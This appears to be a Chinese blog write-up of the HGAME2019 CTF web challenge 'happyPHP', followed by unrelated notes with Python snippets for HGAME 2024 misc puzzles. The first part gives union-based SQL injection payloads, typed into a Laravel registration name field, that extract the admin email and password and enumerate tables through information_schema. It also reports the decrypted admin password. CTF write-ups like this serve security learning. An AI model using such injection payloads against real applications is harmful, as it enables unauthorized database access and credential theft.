HGAME2019 WEB happyPHP

本文详细解析了在Laravel框架下进行SQL注入攻击的方法,包括利用注入语句获取管理员邮箱和密码,以及如何解密密码进行登录。通过具体payload展示,介绍了从获取数据库名、表名到列名的全过程。

虽然比赛已经结束了,但是不会的题目还是要及时学习的,题目直接给出了提示是使用Laravel框架进行编写的,刚开始接触这道题目的时候,一直在百度Laravel框架的漏洞,甚至没有去尝试用户注册和登陆也就没有得到源码了。。。
f12查看元素
在这里插入图片描述
得到作者在github上留下的源码,在SessionsController.php中得到关键的注入语句
在这里插入图片描述
尝试在登陆界面进行注入获取admin的邮箱,payload:name=qwert12345' union select email from 'users' where 'name'='admin,密码邮箱随意,完成注册后登陆,得到admin的邮箱:admin@hgame.com(注意符号)。同理修改payload为name=qwert12345' union select password from 'users' where 'name'='admin,密码邮箱随意,得到password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
ps:如果一开始就使用最原始的union查询语句也是可以的,-1‘union select database()#获得数据库名为hgame-1’union select table_name from information_schema where table_schema=database()#获得表名为users-1‘union select column_name from inforamtion_schema.columns where table_name='users'获得列名的前三项分别为id,emailpassword,以id=1进行邮箱和密码查询也可以得到相同的结果。
在这里插入图片描述
但此时使用上述的邮箱密码进行登陆时并不能成功。看了wp之后才知道在config当中对密码进行了AES-256-CBC,key存在于.env文件当中,解密后得到密码password:9pqfPIer0Ir9UUfR,登陆后得到flag。

### HGAME 2024 Misc 类别题目信息 #### 解密并转换Flag 在HGAME 2024 WEEK1 的misc类别中,有一个挑战涉及解密获得的明文,并将其全部转换为大写字母。最终的结果被包裹在`hgame{}`内作为标志(flag)[^2]。 ```python def convert_to_uppercase_flag(encrypted_text): decrypted_text = encrypted_text.upper() flag_format = f"hgame{{{decrypted_text}}}" return flag_format example_encrypted_text = "disappearintheseaofbutterfly" print(convert_to_uppercase_flag(example_encrypted_text)) ``` 此代码片段展示了如何将给定字符串转换成全大写的flag格式。 #### 字符编码变换 另一个例子来自HGAME 2024 WEEK2,在这个杂项(miscellaneous)挑战里,参与者需要通过特定偏移量来调整输入字符串中的每一个字符Unicode值的位置。当尝试不同的位移数值时,可以找到符合条件的有效输出——即以"hgame{"开头的信息[^3]。 ```python def unicode_shift(input_str, shift): shifted_string = ''.join( chr((ord(c) + shift) % 0x110000) for c in input_str) return shifted_string input_unicode_encoded = "籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆" for offset in range(-65535, 65536): result = unicode_shift(input_unicode_encoded, offset) if result.startswith("hgame"): print(f"Offset found: {offset}") print(result) break ``` 这段Python脚本实现了遍历可能的Unicode位移范围直到发现正确的标志为止的功能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值